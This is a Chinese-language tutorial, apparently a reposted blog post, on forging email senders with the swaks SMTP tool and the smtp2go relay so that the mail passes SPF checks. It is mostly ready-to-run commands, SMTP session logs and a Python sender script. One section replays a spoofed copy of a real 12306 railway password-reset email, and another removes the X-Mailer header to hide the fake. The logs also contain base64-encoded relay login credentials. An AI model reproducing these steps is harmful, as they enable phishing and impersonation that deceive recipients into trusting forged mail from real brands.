Swaks繞過SPF驗證進行郵件僞造

0x00 swaks簡介

Swaks是一個功能強大,靈活,可編寫腳本,面向事務的SMTP測試工具,由John Jetmore編寫和維護。html

目前Swaks託管在私有svn存儲庫中。官方項目頁面是http://jetmore.org/john/code/swaks/python

下載安裝:(kali系統下自帶,若是出錯,可以使用如下地址下載安裝)chrome

v20181104.0發行版:http://jetmore.org/john/code/swaks/files/swaks-20181104.0.tar.gzcentos

前提條件:yum install  perl  (centos下)服務器

tar  zxvf  swaks-20181104.0.tar.gz

cd   swaks-20181104.0.

./swaks

0x01  Swaks使用

1.基本使用語法:dom

1).swaks --to test@qq.com //測試郵箱的連通性;svn

root@localhost swaks-20181104.0]# ./swaks --to 60146@qq.com  

*** MX Routing not available: requires Net::DNS. Using localhost as mail server

=== Trying localhost:25...

=== Connected to localhost.

<- 220 localhost.localdomain ESMTP Postfix

 -> EHLO localhost

<- 250-localhost.localdomain

<- 250-PIPELINING

<- 250-SIZE 10240000

<- 250-VRFY

<- 250-ETRN

<- 250-ENHANCEDSTATUSCODES

<- 250-8BITMIME

<- 250 DSN

 -> MAIL FROM:<root@localhost>

<- 250 2.1.0 Ok

 -> RCPT TO:<60146@qq.com>

<- 250 2.1.5 Ok

 -> DATA

<- 354 End data with <CR><LF>.<CR><LF>

 -> Date: Thu, 09 May 2019 18:24:15 +0800

 -> To: 60146@qq.com

 -> From: root@localhost

 -> Subject: test Thu, 09 May 2019 18:24:15 +0800

 -> Message-Id: <20190509182415.044457@localhost>

 -> X-Mailer: swaks v20181104.0 jetmore.org/john/code/swaks/

 -> 

 -> This is a test mailing

 -> 

 -> 

 -> .

<- 250 2.0.0 Ok: queued as 056576152155

 -> QUIT

<- 221 2.0.0 Bye

=== Connection closed with remote host.

前面都返回250ok,說明該郵箱存在,而且能夠正常收信。最後能夠看到qq郵箱返回550錯誤,qq官方給出的出錯緣由:該郵件內容涉嫌大量羣發,而且被多數用戶投訴爲垃圾郵件工具

2).參數說明(這裏只是簡單的羅列了一些,至於更加具體的內容可使用--help進行查看了解)測試

--from test@qq.com //發件人郵箱;

--ehlo qq.com //僞造郵件ehlo頭,便是發件人郵箱的域名。提供身份認證

--body "http://www.baidu.com" //引號中的內容即爲郵件正文;

--header "Subject:hello" //郵件頭信息,subject爲郵件標題

--data ./Desktop/email.txt //將正常源郵件的內容保存成TXT文件,再做爲正常郵件發送

2.僞造發送 :ui

1)發送簡單內容  (QQ的郵箱被SPF攔截,網易的可發送成功)

[root@localhost swaks-20181104.0]# ./swaks --to backli×@163.com --from wenqi×@gmail.com --body 諸葛先生,別來無恙~ --header "Subject: 來自大司馬的問候" --server mail.smtp2go.com   -p 2525 -au 用戶名   -ap  密碼    #這裏須要到www.smtp2go.com下注冊一個免費的發送的郵箱服務器的帳號。若是不加--server則會顯示錯誤「MX路由不可用: 使用localhost做爲郵件服務器,須要設置Net :: DNS。

=== Trying mail.smtp2go.com:2525...

=== Connected to mail.smtp2go.com.

<- 220 mail.smtp2go.com ESMTP Exim 4.91 Thu, 09 May 2019 10:42:22 +0000

 -> EHLO localhost

<- 250-mail.smtp2go.com Hello localhost [171.223.206.218]

<- 250-SIZE 52428800

<- 250-8BITMIME

<- 250-DSN

<- 250-PIPELINING

<- 250-AUTH CRAM-MD5 PLAIN LOGIN

<- 250-CHUNKING

<- 250-STARTTLS

<- 250-PRDR

<- 250 HELP

 -> AUTH LOGIN

<- 334 VXNlcm5hbWU6

 -> YmFja2xpb24=

<- 334 UGFzc3dvcmQ6

 -> YWpWMmVtTnljRFp5ZWpobw==

<- 235 Authentication succeeded

 -> MAIL FROM:<wenqing1293@gmail.com>

<- 250 OK

 -> RCPT TO:<backlions@163.com>

<- 250 Accepted <backlions@163.com>

 -> DATA

<- 354 Enter message, ending with "." on a line by itself

 -> Date: Thu, 09 May 2019 18:42:21 +0800

 -> To: backlions@163.com

 -> From: wenqing1293@gmail.com

 -> Subject: 來自大司馬的問候

 -> Message-Id: <20190509184221.044782@localhost>

 -> X-Mailer: swaks v20181104.0 jetmore.org/john/code/swaks/

 -> 

 -> 諸葛先生,別來無恙~

 -> 

 -> 

 -> .

<- 250 OK id=1hOgVO-RyuJx4-LX

 -> QUIT

<- 221 mail.smtp2go.com closing connection

=== Connection closed with remote host.

 

 

2)發送郵件模板

模板文件由郵箱中"顯示郵件原文" ,另存爲 readmail.txt,刪除 Received,To相關內容,具體參考高級用法。

[root@localhost swaks-20181104.0]#  ./swaks --to backli×@163.com --from wenqin×@gamil.com --data test.eml --header "Subject: 網上購票系統-用 戶密碼找回" --server mail.smtp2go.com -p 2525 -au 用戶名  -ap 密碼

 

3)附加附件

[root@localhost swaks-20181104.0]# ./swaks --to backli×@163.com  --from wenqi×@gmail.com  --body 諸葛先生,別來無恙~ --header "Subject: 來自大司馬的問候"   --attach   等級保護.docx   --server mail.smtp2go.com   -p 2525 -au 用戶名   -ap  密碼  
 

 

4).複雜郵件

swaks --to <要測試的郵箱> --from <被僞造的郵箱> --ehlo <網址> --body <郵件內容> --header <郵件標題>

[root@localhost swaks-20181104.0]# ./swaks  --to     backlions@163.com   --from  wenqing1293@gamil.com    --ehlo   freebuf.com   --body  hello    --header "Subject: hello"

–from <要顯示的發件人郵箱>

–ehlo <僞造的郵件ehlo頭>

–body <郵件正文>

–header <郵件頭信息,subject爲郵件標題>

在你ip沒有被qq郵箱band的狀況下,郵件能夠正常發送,返回250 ok

 

 

5)若是您的localhost沒法發送郵件,您可使用如下命令指定可靠的SMTP服務器:

swaks --to user@example.com --server smtp.example.com

3.高級用法

點擊查看郵件原文,而後將郵件原文複製,另存爲test.eml文件

 

對test.eml文件進行修改:to:後面的目標郵箱便可

[root@localhost swaks-20181104.0]# ./swaks --to backli×@163.com --from wenqin×@gamil.com --data test.eml --header "Subject: 網上購票系統-用 戶密碼找回" --server mail.smtp2go.com -p 2525 -au 用戶名  -ap 密碼
=== Trying mail.smtp2go.com:2525...
=== Connected to mail.smtp2go.com.
<- 220 mail.smtp2go.com ESMTP Exim 4.91 Thu, 09 May 2019 11:33:21 +0000
 -> EHLO localhost
<- 250-mail.smtp2go.com Hello localhost [171.223.206.218]
<- 250-SIZE 52428800
<- 250-8BITMIME
<- 250-DSN
<- 250-PIPELINING
<- 250-AUTH CRAM-MD5 PLAIN LOGIN
<- 250-CHUNKING
<- 250-STARTTLS
<- 250-PRDR
<- 250 HELP
 -> AUTH LOGIN
<- 334 VXNlcm5hbWU6
 -> YmFja2x×
<- 334 UGFzc3dvcmQ6
 -> YWpWMmVtTnljRFp5Z×
<- 235 Authentication succeeded
 -> MAIL FROM:<wenqin×@gamil.com>
<- 250 OK
 -> RCPT TO:<back×@163.com>
<- 250 Accepted <bac×@163.com>
 -> DATA
<- 354 Enter message, ending with "." on a line by itself
 -> Received: from mail.12306.cn (unknown [124.127.44.247])
 -> by newmx31.qq.com (NewMx) with SMTP id 
 -> for <601462×@qq.com>; Sun, 06 Jan 2019 12:40:30 +0800
 -> X-QQ-FEAT: y37167hFrfVQgRwaJgHKCRxOzlAGmr/AUask8Gt3aaw=
 -> X-QQ-MAILINFO: MHG2h55yn1llklKTjNwQJdtfp46IVGVTPzA2xPoaUP1h+EXLeI+swrHhT
 -> mpCCV5gt0hGnIzMreYVhczG4URIQzkNwhHU6RpKU98dM9WIcUCqTnKVA+/bP9Cm4+epY5N1
 -> rCpl5zs0xdiDi/Z/GS/ebiwHPp6QSatTZA==
 -> X-QQ-mid: mx31t1546749631tggruynog
 -> X-QQ-ORGSender: 12306@rails.com.cn
 -> Received: from mail.12306.cn (unknown [10.1.214.138])
 -> by mail.12306.cn (Postfix) with ESMTP id 4C16720797
 -> for <6014×0@qq.com>; Sun, 6 Jan 2019 12:40:32 +0800 (CST)
 -> Date: Sun, 6 Jan 2019 12:40:30 +0800 (CST)
 -> From: "12306@rails.com.cn" <12306@rails.com.cn>
 -> To: "backl×@163.com" <backlio×@163.com>
 -> Message-ID: <81646906.18623783.1546749630361@10.1.214.135>
 -> Subject: 網上購票系統-用戶密碼找回
 -> MIME-Version: 1.0
 -> Content-Type: multipart/alternative; 
 -> boundary="----=_Part_18623781_1540198882.1546749630360"
 -> 
 -> ------=_Part_18623781_1540198882.1546749630360
 -> Content-Type: text/html; charset=gbk
 -> Content-Transfer-Encoding: quoted-printable
 -> 
 -> <!DOCTYPE html>
 -> <html>
 -> <head>
 -> <meta charset=3D"utf-8">
 -> <meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge,chrome=3D1">
 -> <title>12306=CD=A8=D6=AA=D3=CA=BC=FE</title>
 -> <meta name=3D"description" content=3D"">
 -> <meta name=3D"keywords" content=3D"">
 -> <link href=3D"" rel=3D"stylesheet">
 -> </head>
 -> <body>
 -> =09<table cellspacing=3D"0" cellpadding=3D"0" width=3D"760px"
 -> =09=09style=3D"border-spacing: 0; color: #333333; border: 1px solid #f1f1f1=
 -> ; margin-left: auto; margin-right: auto;">
 -> =09=09<tr>
 -> =09=09=09<td width=3D"760">
 -> =09=09=09=09<img src=3D"http://mobile.12306.cn/weixin/resources/weixin/imag=
 -> es/mail/mail_top.jpg" width=3D"760" height=3D"275">
 -> =09=09=09</td>
 -> =09=09</tr>
 -> =09=09<tr>
 -> =09=09=09<td width=3D"720"
 -> =09=09=09=09style=3D"padding-left: 20px; padding-right: 20px; background: u=
 -> rl(http://mobile.12306.cn/weixin/resources/weixin/images/mail/mail_train.jp=
 -> g); background-position: bottom right; background-repeat: no-repeat;">
 -> =09=09=09=09<table cellspacing=3D"0" cellpadding=3D"0" width=3D"720px"
 -> =09=09=09=09=09style=3D"border-spacing: 0; color: #333333;">
 -> =09=09=09=09=09<tr>
 -> =09=09=09=09=09=09<td width=3D"720"
 -> =09=09=09=09=09=09=09style=3D"font-size: 16px; height: 40px; font-weight: b=
 -> old;">
 -> =09=09=09=09=09=09=09=D7=F0=BE=B4=B5=C4 <span style=3D"color: #ff764c;">=CE=
 -> =C4=BA=A3=B8=D5=CF=C8=C9=FA=A3=BA</span>
 -> =09=09=09=09=09=09</td>
 -> =09=09=09=09=09</tr>
 -> =09=09=09=09=09<tr>
 -> =09=09=09=09=09=09<td width=3D"720">
 -> =09=09=09=09=09=09=09<div style=3D"line-height: 20px; font-size: 12px;">=C4=
 -> =FA=BA=C3=A3=A1</div>
 -> =09=09=09=09=09=09=09<div style=3D"line-height: 20px; font-size: 12px;">=C4=
 -> =FA=D4=DA2019=C4=EA01=D4=C206=C8=D5 12=CA=B140=B7=D6=CC=E1=BD=BB=D5=D2=BB=
 -> =D8=C3=DC=C2=EB=C7=EB=C7=F3=A3=AC=C7=EB=B5=E3=BB=F7=CF=C2=C3=E6=B5=C4=C1=B4=
 -> =BD=D3=D0=DE=B8=C4=D3=C3=BB=A7wen129=B5=C4=C3=DC=C2=EB:</div>
 -> =09=09=09=09=09=09</td>
 -> =09=09=09=09=09</tr>
 -> =09=09=09=09=09<tr>
 -> =09=09=09=09=09=09<td width=3D"720" style=3D"padding-top: 10px; padding-bot=
 -> tom: 10px;">
 -> =09=09=09=09=09=09=09<div style=3D"border-top: 1px dashed #e9ecf0; border-b=
 -> ottom: 1px dashed #e9ecf0; color: #000000; font-size: 14px; padding-top: 10=
 -> px; padding-bottom: 10px;">
 -> =09=09=09=09=09=09=09=09<div style=3D"line-height: 20px; width:720px; color=
 -> : #000000; padding-top: 5px; padding-bottom: 5px; font-weight: bold;">
 -> =09=09=09=09=09=09=09=09=09<a href=3Dhttps://kyfw.12306.cn/otn//forgetPassw=
 -> ord/changePassWord?uuId=3D5a3c9813-f6f6-4b6c-b7e7-6d634f06f0f1&lostTimeToDb=
 -> =3DF4AC92B54775FF543B1CDA2D8EB76EC9566489C1E9535098B1238FBC>https://kyfw.12=
 -> 306.cn/otn//forgetPassword/changePassWord?uuId=3D5a3c9813-f6f6-4b6c-b7e7-6d=
 -> 634f06f0f1&lostTimeToDb=3DF4AC92B54775FF543B1CDA2D8EB76EC9566489C1E9535098B=
 -> 1238FBC</a>
 -> =09=09=09=09=09=09=09=09</div>
 -> =09=09=09=09=09=09=09=09
 -> =09=09=09=09=09=09=09=09<div style=3D"line-height: 20px; color: #000000; pa=
 -> dding-top: 5px; padding-bottom: 5px; font-weight: bold;">
 -> =09=09=09=09=09=09=09=09=09(=C8=E7=B9=FB=C4=FA=CE=DE=B7=A8=B5=E3=BB=F7=D5=
 -> =E2=B8=F6=C1=B4=BD=D3=A3=AC=C7=EB=BD=AB=B4=CB=C1=B4=BD=D3=B8=B4=D6=C6=B5=BD=
 -> =E4=AF=C0=C0=C6=F7=B5=D8=D6=B7=C0=B8=BA=F3=B7=C3=CE=CA)
 -> =09=09=09=09=09=09=09=09</div>
 -> =09=09=09=09=09=09=09=09
 -> =09=09=09=09=09=09=09=09<div style=3D"line-height: 20px; color: #000000; pa=
 -> dding-top: 5px; padding-bottom: 5px; font-weight: bold;">
 -> =09=09=09=09=09=09=09=09=09=CE=AA=C1=CB=B1=A3=D6=A4=C4=FA=D5=CA=BA=C5=B5=C4=
 -> =B0=B2=C8=AB=D0=D4=A3=AC=B8=C3=C1=B4=BD=D3=D3=D0=D0=A7=C6=DA=CE=AA24=D0=A1=
 -> =CA=B1=A3=AC=B2=A2=C7=D2=B5=E3=BB=F7=D2=BB=B4=CE=BA=F3=BD=AB=CA=A7=D0=A7!
 -> =09=09=09=09=09=09=09=09</div>
 -> =09=09=09=09=09=09=09=09<div style=3D"line-height: 20px; color: #000000; pa=
 -> dding-top: 5px; padding-bottom: 5px; font-weight: bold;">
 -> =09=09=09=09=09=09=09=09=09=C9=E8=D6=C3=B2=A2=C0=CE=BC=C7=C3=DC=C2=EB=B1=A3=
 -> =BB=A4=CE=CA=CC=E2=BD=AB=B8=FC=BA=C3=B5=D8=B1=A3=D5=CF=C4=FA=B5=C4=D5=CA=BA=
 -> =C5=B0=B2=C8=AB=A1=A3
 -> =09=09=09=09=09=09=09=09</div>
 -> =09=09=09=09=09=09=09=09<div style=3D"line-height: 20px; color: #000000; pa=
 -> dding-top: 5px; padding-bottom: 5px; font-weight: bold;">
 -> =09=09=09=09=09=09=09=09=09=C8=E7=B9=FB=C4=FA=CE=F3=CA=D5=B5=BD=B4=CB=B5=E7=
 -> =D7=D3=D3=CA=BC=FE=A3=AC=D4=F2=BF=C9=C4=DC=CA=C7=C6=E4=CB=FB=D3=C3=BB=A7=D4=
 -> =DA=B3=A2=CA=D4=D5=CA=BA=C5=C9=E8=D6=C3=CA=B1=B5=C4=CE=F3=B2=D9=D7=F7=A3=AC=
 -> =C8=E7=B9=FB=C4=FA=B2=A2=CE=B4=B7=A2=C6=F0=B8=C3=C7=EB=C7=F3=A3=AC=D4=F2=CE=
 -> =DE=D0=E8=D4=D9=BD=F8=D0=D0=C8=CE=BA=CE=B2=D9=D7=F7=A3=AC=B2=A2=BF=C9=D2=D4=
 -> =B7=C5=D0=C4=B5=D8=BA=F6=C2=D4=B4=CB=B5=E7=D7=D3=D3=CA=BC=FE=A1=A3
 -> =09=09=09=09=09=09=09=09</div>
 -> =09=09=09=09=09=09=09=09<div style=3D"line-height: 20px; color: #000000; pa=
 -> dding-top: 5px; padding-bottom: 5px; font-weight: bold;">
 -> =09=09=09=09=09=09=09=09=09=C8=F4=C4=FA=B5=A3=D0=C4=D5=CA=BA=C5=B0=B2=C8=AB=
 -> =A3=AC=BD=A8=D2=E9=C4=FA=C1=A2=BC=B4=B5=C7=C2=BC=A3=AC=BD=F8=C8=EB=A1=B0=CE=
 -> =D2=B5=C412306=A1=B1=A3=AC=C3=DC=C2=EB=D0=DE=B8=C4=D6=D0=D0=DE=B8=C4=C3=DC=
 -> =C2=EB=A1=A3
 -> =09=09=09=09=09=09=09=09</div>
 -> =09=09=09=09=09=09=09</div>
 -> =09=09=09=09=09=09</td>
 -> =09=09=09=09=09</tr>
 -> =09=09=09=09=09<tr>
 -> =09=09=09=09=09=09<td width=3D"720">
 -> =09=09=09=09=09=09=09<table cellspacing=3D"0" cellpadding=3D"0" width=3D"72=
 -> 0px"
 -> =09=09=09=09=09=09=09=09style=3D"border-spacing: 0; color: #333333;">
 -> =09=09=09=09=09=09=09=09<tr>
 -> =09=09=09=09=09=09=09=09=09<td></td>
 -> =09=09=09=09=09=09=09=09=09<td width=3D"200"
 -> =09=09=09=09=09=09=09=09=09=09style=3D"text-align: center; height: 24px; fo=
 -> nt-size: 12px;">
 -> =09=09=09=09=09=09=09=09=09=09<img src=3D"http://mobile.12306.cn/weixin/res=
 -> ources/weixin/images/mail/mail_logo.jpg"
 -> =09=09=09=09=09=09=09=09=09=09alt=3D"logo" width=3D"20" height=3D"20"
 -> =09=09=09=09=09=09=09=09=09=09style=3D"vertical-align: bottom; margin-right=
 -> : 10px;">=D6=D0=B9=FA=CC=FA=C2=B7=BF=CD=BB=A7=B7=FE=CE=F1=D6=D0=D0=C4
 -> =09=09=09=09=09=09=09=09=09</td>
 -> =09=09=09=09=09=09=09=09</tr>
 -> =09=09=09=09=09=09=09=09<tr>
 -> =09=09=09=09=09=09=09=09=09<td></td>
 -> =09=09=09=09=09=09=09=09=09<td width=3D"200"
 -> =09=09=09=09=09=09=09=09=09=09style=3D"text-align: center; height: 24px; fo=
 -> nt-size: 12px;">2019=C4=EA01=D4=C206=C8=D5</td>
 -> =09=09=09=09=09=09=09=09</tr>
 -> =09=09=09=09=09=09=09</table>
 -> =09=09=09=09=09=09</td>
 -> =09=09=09=09=09</tr>
 -> =09=09=09=09=09<tr>
 -> =09=09=09=09=09=09<td width=3D"720" style=3D"padding-top: 10px; padding-bot=
 -> tom: 15px;">
 -> =09=09=09=09=09=09=09<img src=3D"http://mobile.12306.cn/weixin/resources/we=
 -> ixin/images/mail/mail_line.jpg" alt=3D"">
 -> =09=09=09=09=09=09</td>
 -> =09=09=09=09=09</tr>
 -> =09=09=09=09</table>
 -> =09=09=09</td>
 -> =09=09</tr>
 -> =09</table>
 -> </body>
 -> </html>
 -> 
 -> ------=_Part_18623781_1540198882.1546749630360--
 -> 
 -> 
 -> .
<- 250 OK id=1hOhIj-RyuRWW-5t
 -> QUIT
<- 221 mail.smtp2go.com closing connection
=== Connection closed with remote host.

 

 

0x02  smtp2go配置

這個是從evi1cg師傅那裏看到的,smtp2go主要是至關於郵件託管,能夠分發子帳戶進行發送。

註冊地址:https://www.smtp2go.com/

(郵箱註冊)普通帳戶能夠免費發1000封郵件。

這時候須要在設置菜單中的uses中新建一個帳號,密碼能夠自動生成或者本身修改。

 

 

0x03 swaks發送郵件

swaks --to wenqing*@gmail.com   --from  admin@qq.com  --ehlo  gmail.com  --body  hello  --server mail.smtp2go.com -p 2525 -au 用戶名  -ap  密碼

上面該命令也可繞過gamil郵件發送:

 

 

0x04 SPF驗證原理

若是mail.smtp2go.com是個人郵件服務器,那麼Gmail的服務器收到的源IP也確定是mail.smtp2go.com的IP。

Gmail中會校驗郵件發送者的IP是否存在於smtp.from的域名SPF配置列表裏。

而上面這條命令:

swaks --to wenqing*@gmail.com  --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASS>

smtp.from就是admin@qq.com,和mail.smtp2go.com的IP確定不一樣,因此SPF校驗失敗,而校驗失敗的郵件,會有很高的概率被扔到垃圾郵件中。

默認狀況下,若是未設置Mail.From也就是郵件頭的發件人,則會使用smtp.from做爲Mail.From。

 

0x05 繞過SPF

因爲郵件顯示的是接頭鏈接器中的來自不是smtp.from,所以能夠將smtp.from設置爲正常的郵件服務器地址,僞造一個Mail.From便可。

swaks --to wenqi*@gmail.com    --from what@smtp2go.com  --h-From: '管理員<admin@qq.com>' --ehlo gmail.com --body hello  --server mail.smtp2go.com  -p 2525   -au  用戶名    -ap  密碼

Gmail中接收到這封郵件後,校驗會--from xx@smtp2go.com中的smtp2go.com是否等於mail.smtp2go.com的IP,因爲是相等的,因此完成了SPF的校驗。

而DKIM是校驗郵件完整性的,smtp2go與Gmail中直接使用的是TLS,不會發生什麼問題。

 

 

 

0x06  修改標題

swaks支持自定義某些報頭,參數以下:

swaks --header-<Name> <Value>

若是我想去除梅勒特徵,就能夠這麼作:

swaks --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理員<admin@qq.com>' --ehlo gmail.com --body hello  --header "Subject: this is a test "  --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS>
 

 

0x07 Python腳本

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import smtplib
from email.mime.text import MIMEText
from email.header import Header

mail_host="mail.smtp2go.com"
mail_user=""
mail_pass=""


sender = 'test@smtp2go.com'
receivers = ['rvn0xsy@gmail.com']

message = MIMEText('Hello World', 'plain', 'utf-8')
message['From'] = Header("from@qq.com", 'utf-8')
message['To'] =  Header(receivers[0], 'utf-8')

subject = 'SMTP 郵件測試'
message['Subject'] = Header(subject, 'utf-8')


try:
    smtpObj = smtplib.SMTP()
    smtpObj.connect(mail_host, 25)
    smtpObj.login(mail_user,mail_pass)
    smtpObj.sendmail(sender, receivers, message.as_string())
    print "Success"
except smtplib.SMTPException:
    print "Error"

0x08 總結

經測試,經過swaks 加smtp2go中轉服務器能夠繞過icloud.com ,aliyun.com,gmail.com,163.com等郵箱的SPF進行郵件僞造。

0x09 參考文獻

https://payloads.online/archivers/2019-05-09/1 
相關文章
相關標籤/搜索